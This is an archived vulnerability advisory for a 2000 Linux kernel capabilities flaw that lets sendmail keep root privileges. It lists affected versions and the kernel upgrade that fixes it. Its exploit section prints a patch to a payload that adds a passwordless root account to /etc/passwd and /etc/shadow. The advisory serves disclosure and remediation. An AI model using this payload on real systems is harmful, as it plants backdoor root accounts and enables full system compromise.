Linux Capabilities Vulnerability

BID:1322

Info

Linux Capabilities Vulnerability

Bugtraq ID: 1322
Class: Design Error
CVE:
Remote: No
Local: Yes
Published: Jun 07 2000 12:00AM
Updated: Jun 07 2000 12:00AM
Credit: Discovered by Wojciech Purczynski <[email protected]> and reported to Bugtraq by the Sendmail Security Team <[email protected]>. More information posted to Bugtraq by Gerrie <[email protected]> on June 7, 2000. Followup posted to Bugtraq by
Vulnerable: SGI ProPack 1.3
+ Linux kernel 2.2.15
SGI ProPack 1.2
+ Linux kernel 2.2.13
Linux kernel 2.4 .0-test1
Linux kernel 2.2.15 pre20
Linux kernel 2.2.15 pre16
Linux kernel 2.2.15
+ MandrakeSoft Corporate Server 1.0.1
+ Mandriva Linux Mandrake 7.1
Linux kernel 2.2.13
+ SuSE Linux 6.4
+ SuSE Linux 6.3
Linux kernel 2.2.12
Cobalt RaQ 3.0
Cobalt RaQ 2.0
Not Vulnerable: SGI ProPack 1.4
+ Linux kernel 2.2.16
Linux kernel 2.2.16 pre6
Linux kernel 2.0

Discussion

Linux Capabilities Vulnerability

POSIX "Capabilities" have recently been implemented in the Linux kernel. These "Capabilities" are an additional form of privilege control to enable more specific control over what priviliged processes can do. Capabilities are implemented as three (fairly large) bitfields, which each bit representing a specific action a privileged process can perform. By setting specific bits, the actions of priviliged processes can be controlled -- access can be granted for various functions only to the specific parts of a program that require them. It is a security measure. The problem is that capabilities are copied with fork() execs, meaning that if capabilities are modified by a parent process, they can be carried over. The way that this can be exploited is by setting all of the capabilities to zero (meaning, all of the bits are off) in each of the three bitfields and then executing a setuid program that attempts to drop priviliges before executing code that could be dangerous if run as root, such as what sendmail does. When sendmail attempts to drop priviliges using setuid(getuid()), it fails not having the capabilities required to do so in its bitfields. It continues executing with superuser priviliges, and can run a users .forward file as root leading to a complete compromise. Procmail can also be exploited in this manner.

Exploit / POC

Linux Capabilities Vulnerability

This patch (for the component add.c included in "linux-cap-exp.txt") was posted to BugTraq on June 8, 2000 by "Mark K. Pettit" <[email protected]> and fixes a couple of minor problems with that exploit. It fixes a missing \n and makes the exploit work on systems with the shadow file set to mode 400.

--- add.c.orig Thu Jun 8 11:32:33 2000
+++ add.c Thu Jun 8 11:21:15 2000
@@ -1,17 +1,24 @@
#include <fcntl.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <unistd.h>

int main (void) {
int fd;
char string[40];
+ struct stat buf;

seteuid(0);
fd = open("/etc/passwd", O_APPEND|O_WRONLY);
strcpy(string, "yomama:x:0:0::/root:/bin/sh\n");
write(fd, string, strlen(string));
close(fd);
+ stat("/etc/shadow", &buf);
+ chmod("/etc/shadow", S_IRUSR|S_IWUSR);
fd = open("/etc/shadow", O_APPEND|O_WRONLY);
- strcpy(string, "yomama::11029:0:99999:7:::");
+ strcpy(string, "yomama::11029:0:99999:7:::\n");
write(fd, string, strlen(string));
close(fd);
-
+ chmod("/etc/shadow", buf.st_mode);
}

Solution / Fix

Linux Capabilities Vulnerability

Solution:
Upgrade to Linux kernel version 2.2.16pre6 which is patched.

Fixed packages for various linux distributions are available in the advisories linked to in the reference section of this vuldb entry.

References

Linux Capabilities Vulnerability

References:
© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report